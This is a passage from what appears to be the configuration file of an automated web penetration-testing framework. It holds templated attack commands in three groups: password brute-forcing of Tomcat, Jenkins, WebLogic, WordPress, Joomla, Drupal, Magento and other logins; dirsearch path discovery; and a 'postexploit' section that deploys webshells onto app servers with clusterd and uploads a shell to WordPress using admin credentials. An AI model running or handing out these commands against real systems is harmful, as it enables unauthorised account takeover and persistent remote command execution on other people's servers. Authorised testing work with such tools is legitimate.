context_11  = { 'web-appserver': 'Railo', 'auth_type': 'railo', 'auth_status': NO_AUTH }
command_12  = python3 web-brutator.py --url [URL] --target railo --username '' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_12  = { 'web-appserver': 'Railo', 'auth_type': 'railo', 'auth_status': USER_ONLY }

command_13  = python3 web-brutator.py --url [URL] --target websphere --userlist "[USERLIST default="services/http/creds/app-servers/websphere-usernames.txt"]" --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_13  = { 'web-appserver': 'Websphere Application Server', 'auth_type': 'websphere', 'auth_status': NO_AUTH }
command_14  = python3 web-brutator.py --url [URL] --target websphere --username '[USERNAME]' --passlist "[PASSLIST default="passwords/pass-medium.txt"]" --threads 40 --stoponsuccess
context_14  = { 'web-appserver': 'Websphere Application Server', 'auth_type': 'websphere', 'auth_status': USER_ONLY }

# [check_bruteforce-tomcat]
# name        = bruteforce-tomcat
# category    = bruteforce
# description = Bruteforce authentication on Tomcat Application Manager
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set USER_FILE '[USERLIST default="services/http/creds/app-servers/tomcat-usernames.txt"]'; set PASS_FILE '[PASSLIST default="passwords/pass-short.txt"]'; set THREADS 10; run; exit"
# context_1   = { 'web-appserver': 'Apache/Tomcat', 'auth_type': 'tomcat', 'auth_status': NO_AUTH }
# command_2   = sudo msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set USERNAME '[USERNAME]'; set PASS_FILE '[PASSLIST default="passwords/pass-short.txt"]'; set THREADS 10; run; exit"
# context_2   = { 'web-appserver': 'Apache/Tomcat', 'auth_type': 'tomcat', 'auth_status': USER_ONLY }

# [check_bruteforce-axis2]
# name        = bruteforce-axis2
# category    = bruteforce
# description = Bruteforce authentication on Apache Axis2 app-server
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/axis_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set STOP_ON_SUCCESS true; set THREADS 5; set BLANK_PASSWORDS true; set USER_AS_PASS true; set USERNAME admin; set PASSWORD axis2; set PASS_FILE '[PASSLIST default="passwords/pass-medium.txt"]';run; exit"
# context_1   = { 'web-appserver': 'Apache/Axis2', 'auth_type': 'axis2', 'auth_status': NO_AUTH }
# command_2   = sudo msfconsole -q -x "use auxiliary/scanner/http/axis_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set STOP_ON_SUCCESS true; set THREADS 5; set BLANK_PASSWORDS true; set USER_AS_PASS true; set USERNAME '[USERNAME]'; set PASSWORD axis2; set PASS_FILE '[PASSLIST default="passwords/pass-medium.txt"]';run; exit"
# context_2   = { 'web-appserver': 'Apache/Axis2', 'auth_type': 'axis2', 'auth_status': USER_ONLY }

[check_bruteforce-domino]
name        = bruteforce-domino
category    = bruteforce
description = Bruteforce authentication on IBM/Lotus Domino software
tool        = domiowned
command_1   = python3 domi-owned.py bruteforce [URL] "[USERLIST default="usernames/usernames-short.txt"]" --password "[PASSLIST default="passwords/pass-short.txt"]"
context_1   = { 'web-cms': 'Domino', 'auth_type': 'domino', 'auth_status': NO_AUTH }
command_2   = echo '[USERNAME]' > /tmp/domiuser.txt; python3 domi-owned.py bruteforce [URL] /tmp/domiuser.txt --password "[PASSLIST default="passwords/pass-short.txt"]"; rm /tmp/domiuser.txt
context_2   = { 'web-cms': 'Domino', 'auth_type': 'domino', 'auth_status': USER_ONLY }

# [check_bruteforce-glassfish]
# name        = bruteforce-glassfish
# category    = bruteforce
# description = Bruteforce authentication on Glassfish app-server
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/glassfish_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set STOP_ON_SUCCESS true; set THREADS 5; set BLANK_PASSWORDS true; set USER_AS_PASS true; set USERNAME admin; set PASS_FILE '[PASSLIST default="passwords/pass-medium.txt"]';run; exit"
# context_1   = { 'web-appserver': 'Oracle/Glassfish', 'auth_type': 'glassfish', 'auth_status': NO_AUTH }
# command_2   = sudo msfconsole -q -x "use auxiliary/scanner/http/glassfish_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set STOP_ON_SUCCESS true; set THREADS 5; set BLANK_PASSWORDS true; set USER_AS_PASS true; set USERNAME '[USERNAME]'; set PASS_FILE '[PASSLIST default="passwords/pass-medium.txt"]';run; exit"
# context_2   = { 'web-appserver': 'Oracle/Glassfish', 'auth_type': 'glassfish', 'auth_status': USER_ONLY }

# [check_bruteforce-jenkins]
# name        = bruteforce-jenkins
# category    = bruteforce
# description = Bruteforce authentication on Jenkins-CI instance
# tool        = metasploit
# command_1   = sudo msfconsole -q -x "use auxiliary/scanner/http/jenkins_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set STOP_ON_SUCCESS true; set THREADS 5; set BLANK_PASSWORDS true; set USER_AS_PASS true; set USER_FILE '[USERLIST default="services/http/creds/app-servers/jenkins-usernames.txt"]'; set PASS_FILE '[PASSLIST default="passwords/pass-short.txt"]'; set THREADS 5; run; exit"
# context_1   = { 'web-appserver': 'Jenkins', 'auth_type': 'jenkins', 'auth_status': NO_AUTH }
# command_2   = sudo msfconsole -q -x "use auxiliary/scanner/http/jenkins_login; set RHOSTS [IP]; set RHOST [IP]; set RPORT [PORT]; [HTTPS true="set SSL true"]; set STOP_ON_SUCCESS true; set THREADS 5; set BLANK_PASSWORDS true; set USER_AS_PASS true; set USERNAME '[USERNAME]'; set PASS_FILE '[PASSLIST default="passwords/pass-short.txt"]'; set THREADS 5; run; exit"
# context_2   = { 'web-appserver': 'Jenkins', 'auth_type': 'jenkins', 'auth_status': USER_ONLY }

[check_bruteforce-wordpress]
name        = bruteforce-wordpress
category    = bruteforce
description = Bruteforce Wordpress accounts (require detected username(s))
tool        = wpseku
command_1   = python3 wpseku.py --url [URL] --brute --user '[USERNAME]' --wordlist "[PASSLIST default="passwords/pass-medium.txt"]"
context_1   = { 'web-cms': 'Wordpress', 'auth_type': 'wordpress', 'auth_status': USER_ONLY }

[check_bruteforce-joomla]
name        = bruteforce-joomla
category    = bruteforce
description = Bruteforce Joomla "admin" account
tool        = xbruteforcer
command_1   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[PASSLIST default="passwords/pass-medium.txt"]' <<< 2; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_1   = { 'web-cms': 'joomla', 'auth_type': 'joomla', 'auth_status': NO_AUTH }
command_2   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[PASSLIST default="passwords/pass-medium.txt"]' <<< 2; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_2   = { 'web-cms': 'joomla', 'auth_type': 'joomla', 'auth_status': USER_ONLY }

[check_bruteforce-drupal]
name        = bruteforce-drupal
category    = bruteforce
description = Bruteforce Drupal "admin" account
tool        = xbruteforcer
command_1   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[PASSLIST default="passwords/pass-medium.txt"]' <<< 3; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_1   = { 'web-cms': 'drupal', 'auth_type': 'drupal', 'auth_status': NO_AUTH }
command_2   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[PASSLIST default="passwords/pass-medium.txt"]' <<< 3; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_2   = { 'web-cms': 'drupal', 'auth_type': 'drupal', 'auth_status': USER_ONLY }

[check_bruteforce-opencart]
name        = bruteforce-opencart
category    = bruteforce
description = Bruteforce Opencart "admin" account
tool        = xbruteforcer
command_1   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[PASSLIST default="passwords/pass-medium.txt"]' <<< 4; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_1   = { 'web-cms': 'opencart', 'auth_type': 'opencart', 'auth_status': NO_AUTH }
command_2   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[WORDLISTSDIR]/passwords/pass-medium.txt' <<< 4; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_2   = { 'web-cms': 'opencart', 'auth_type': 'opencart', 'auth_status': NO_AUTH }

[check_bruteforce-magento]
name        = bruteforce-magento
category    = bruteforce
description = Bruteforce Magento "admin" account
tool        = xbruteforcer
command_1   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[WORDLISTSDIR]/passwords/pass-medium.txt' <<< 5; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_1   = { 'web-cms': 'magento', 'auth_type': 'magento', 'auth_status': NO_AUTH }
command_2   = /bin/bash -c "rm Result.txt; rm /tmp/url.txt; echo [URL] >> /tmp/url.txt; perl XBruteForcer.pl -l /tmp/url.txt -p '[WORDLISTSDIR]/passwords/pass-medium.txt' <<< 5; rm /tmp/url.txt"; tput sgr0; cat Result.txt
context_2   = { 'web-cms': 'magento', 'auth_type': 'magento', 'auth_status': USER_ONLY }


#########################################################################################
# Discovery
#########################################################################################
[check_discovery-server]
name        = discovery-server
category    = discovery
description = Bruteforce web paths specific to detected web/application servers
tool        = dirsearch
command_1   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/web-servers/Apache.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_1   = { 'web-server': 'Apache' }
command_2   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/web-servers/IIS.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_2   = { 'web-server': 'Microsoft/IIS' }
command_3   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/web-servers/Nginx.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_3   = { 'web-server': 'Nginx' }
command_4   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Axis.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_4   = { 'web-appserver': 'Apache/Axis2' }
command_5   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Coldfusion.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_5   = { 'web-appserver': 'Adobe/Coldfusion' }
command_6   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Glassfish.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_6   = { 'web-appserver': 'Oracle/Glassfish' }
command_7   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Jboss.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_7   = { 'web-appserver': 'Jboss' }
command_8   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Jenkins.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_8   = { 'web-appserver': 'Jenkins' }
command_9   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Tomcat.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_9   = { 'web-appserver': 'Apache/Tomcat' }
command_10  = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Weblogic.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_10  = { 'web-appserver': 'Oracle/Weblogic Server' }
command_11  = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/app-servers/Websphere.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_11  = { 'web-appserver': 'Websphere Application Server' }

[check_discovery-cms]
name        = discovery-cms
category    = discovery
description = Bruteforce web paths specific to detected CMS
tool        = dirsearch
command_1   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Domino.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_1   = { 'web-cms': 'Domino' }
command_2   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Joomla.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_2   = { 'web-cms': 'Joomla' }
command_3   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Magento.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_3   = { 'web-cms': 'Magento' }
command_4   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Php-nuke.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_4   = { 'web-cms': 'Php-nuke' }
command_5   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Prestashop.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_5   = { 'web-cms': 'Prestashop' }
command_6   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Sharepoint.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_6   = { 'web-cms': 'Sharepoint' }
command_7   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Sitefinity.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_7   = { 'web-cms': 'Sitefinity' }
command_8   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/cms/Wordpress.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_8   = { 'web-cms': 'Wordpress' }

[check_discovery-language-directories]
name        = discovery-language-directories
category    = discovery
description = Bruteforce web paths specific to detected language and directories
tool        = dirsearch
command_1   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/asp.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_1   = { 'web-language': 'Microsoft/ASP.NET' }
command_2   = python3 dirsearch.py -u '[URL]' -e asp,aspx,ashx -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words-lowercase.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_2   = { 'web-language': 'Microsoft/ASP.NET' }

command_3   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/cfml.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_3   = { 'web-language': 'CFML' }
command_4   = python3 dirsearch.py -u '[URL]' -e cfm -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_4   = { 'web-language': 'CFML' }

command_5   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/java.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_5   = { 'web-language': 'Java' }
command_6   = python3 dirsearch.py -u '[URL]' -e jsp,java,do -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_6   = { 'web-language': 'Java' }

command_7   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/perl.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_7   = { 'web-language': 'Perl' }
command_8   = python3 dirsearch.py -u '[URL]' -e pl -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_8   = { 'web-language': 'Perl' }

command_9   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/php.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_9   = { 'web-language': 'PHP' }
command_10  = python3 dirsearch.py -u '[URL]' -e php -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_10  = { 'web-language': 'PHP' }

command_11  = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/python.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_11  = { 'web-language': 'Python' }
command_12  = python3 dirsearch.py -u '[URL]' -e py -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_12  = { 'web-language': 'Python' }

command_13  = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/languages/ruby.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_13  = { 'web-language': 'Ruby' }
command_14  = python3 dirsearch.py -u '[URL]' -e rb -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_14  = { 'web-language': 'Ruby' }

command_15  = python3 dirsearch.py -u '[URL]' -e js -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_15  = { 'web-language': 'Node.js' }

command_16  = python3 dirsearch.py -u '[URL]' -e lua -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_16  = { 'web-language': 'Lua' }

command_17  = python3 dirsearch.py -u '[URL]' -e go -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-small-words.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_17  = { 'web-language': 'Go' }

# If language not detected, use raft wordlist
command_18   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-medium-files.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_18   = { 'web-language': 'undefined' }
command_19   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-medium-directories.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_19   = { 'web-language': 'undefined', 'web-server': '!Microsoft/IIS' }
command_20   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/raft/raft-medium-directories-lowercase.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
context_20   = { 'web-language': 'undefined', 'web-server': 'Microsoft/IIS' }

[check_discovery-general]
name        = discovery-general
category    = discovery
description = Bruteforce web paths related to config, database, static files, misc...
tool        = dirsearch
command_1   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/general/batch.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
command_2   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/general/conf.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
command_3   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/general/database-backups.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
command_4   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/general/misc.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
command_5   = python3 dirsearch.py -u '[URL]' -e '' -w "[WORDLISTSDIR]/services/http/discovery/general/static.txt" -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt


# [check_web-path-discovery-targeted]
# name        = web-path-discovery-targeted
# category    = discovery
# description = Bruteforce web paths when language is known (extensions adapted) (use raft wordlist)
# tool        = dirsearch
# command_1   = python3 dirsearch.py -u '[URL]' -e jsp,java,do,txt,html,log -w "[WORDLISTSDIR]/services/http/discovery/raft-small-directories.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
# context_1   = { 'web-language': 'Java' }
# command_2   = python3 dirsearch.py -u '[URL]' -e php,txt,html,log -w "[WORDLISTSDIR]/services/http/discovery/raft-small-directories.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
# context_2   = { 'web-language': 'PHP' }
# command_3   = python3 dirsearch.py -u '[URL]' -e asp,aspx,ashx,txt,html,log -w "[WORDLISTSDIR]/services/http/discovery/raft-small-directories.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
# context_3   = { 'web-language': 'Microsoft/ASP.NET' }
# command_4   = python3 dirsearch.py -u '[URL]' -e cfm,txt,html,log -w "[WORDLISTSDIR]/services/http/discovery/raft-small-directories.txt" -f -t 50 --exclude-status=400,404,405,406,429,500,502,503,504,000 --plain-text-report=out.txt; cat out.txt
# context_4   = { 'web-language': 'CFML' }

# [check_web-path-discovery-blind]
# name        = web-path-discovery-blind
# category    = discovery
# description = Bruteforce web paths when language is unknown (use raft wordlist)
# tool        = wfuzz
# command_1   = ./wfuzz -c -u '[URL]/FUZZ' -w "[WORDLISTSDIR]/services/http/discovery/raft-small-files.txt" -t 30 --hc 400,404,405,406,429,500,502,503,504,000
# context_1   = { 'web-language': 'undefined' }
# command_2   = ./wfuzz -c -u '[URL]/FUZZ/' -w "[WORDLISTSDIR]/services/http/discovery/raft-small-directories.txt" -t 30 --hc 400,404,405,406,429,500,502,503,504,000
# context_2   = { 'web-language': 'undefined' }


#########################################################################################
# Postexploit
#########################################################################################
[check_appserver-postauth-deploy]
name        = appserver-postauth-deploy
category    = postexploit
description = Deploy a webshell on appserver (require credentials)
tool        = clusterd
command_1   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a axis2 --deploy "[WEBSHELLSDIR]/AxisInvoker.aar" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_1   = { 'web-appserver': 'Apache/Axis2|version_known', 'auth_type': 'axis2', 'auth_status': POST_AUTH }
command_2   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a axis2 --deploy "[WEBSHELLSDIR]/AxisInvoker.aar" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d
context_2   = { 'web-appserver': 'Apache/Axis2|version_unknown', 'auth_type': 'axis2', 'auth_status': POST_AUTH }

command_3   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a coldfusion --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_3   = { 'web-appserver': 'Adobe/Coldfusion|version_known', 'auth_type': 'coldfusion', 'auth_status': POST_AUTH }
command_4   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a coldfusion --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d
context_4   = { 'web-appserver': 'Adobe/Coldfusion|version_unknown', 'auth_type': 'coldfusion', 'auth_status': POST_AUTH }

command_5   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a jboss --deploy "[WEBSHELLSDIR]/cmd.jsp" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_5   = { 'web-appserver': 'Jboss|version_known', 'auth_type': 'jboss', 'auth_status': POST_AUTH }
command_6   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a jboss --deploy "[WEBSHELLSDIR]/cmd.jsp" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d
context_6   = { 'web-appserver': 'Jboss|version_unknown', 'auth_type': 'jboss', 'auth_status': POST_AUTH }

command_7   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a railo --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_7   = { 'web-appserver': 'Railo|version_known', 'auth_type': 'railo', 'auth_status': POST_AUTH }
command_8   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a railo --deploy "[WEBSHELLSDIR]/cmd.cfml" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d
context_8   = { 'web-appserver': 'Railo|version_unknown', 'auth_type': 'railo', 'auth_status': POST_AUTH }

command_9   = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a tomcat --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_9   = { 'web-appserver': 'Apache/Tomcat|version_known', 'auth_type': 'tomcat', 'auth_status': POST_AUTH }
command_10  = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a tomcat --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d
context_10  = { 'web-appserver': 'Apache/Tomcat|version_unknown', 'auth_type': 'tomcat', 'auth_status': POST_AUTH }

command_11  = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a weblogic --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d -v '[WEB-APPSERVER-VERSION_MAJOR]'
context_11  = { 'web-appserver': 'Oracle/Weblogic Server|version_known', 'auth_type': 'weblogic', 'auth_status': POST_AUTH }
command_12  = python2.7 ./clusterd.py -i [IP] -p [PORT] [HTTPS true="--ssl"] -a weblogic --deploy "[WEBSHELLSDIR]/cmd.war" --random-agent --usr-auth '[USERNAME]:[PASSWORD]' -d
context_12  = { 'web-appserver': 'Oracle/Weblogic Server|version_unknown', 'auth_type': 'weblogic', 'auth_status': POST_AUTH }

[check_wordpress-shell-upload]
name        = wordpress-shell-upload
category    = postexploit
description = Upload shell on Wordpress (require admin credentials)
tool        = wpforce
command_1   = python2.7 yertle.py -u "[USERNAME]" -p "[PASSWORD]" -t [URL] -i
context_1   = { 'web-cms': 'Wordpress', 'auth_type': 'wordpress', 'auth_status': POST_AUTH }
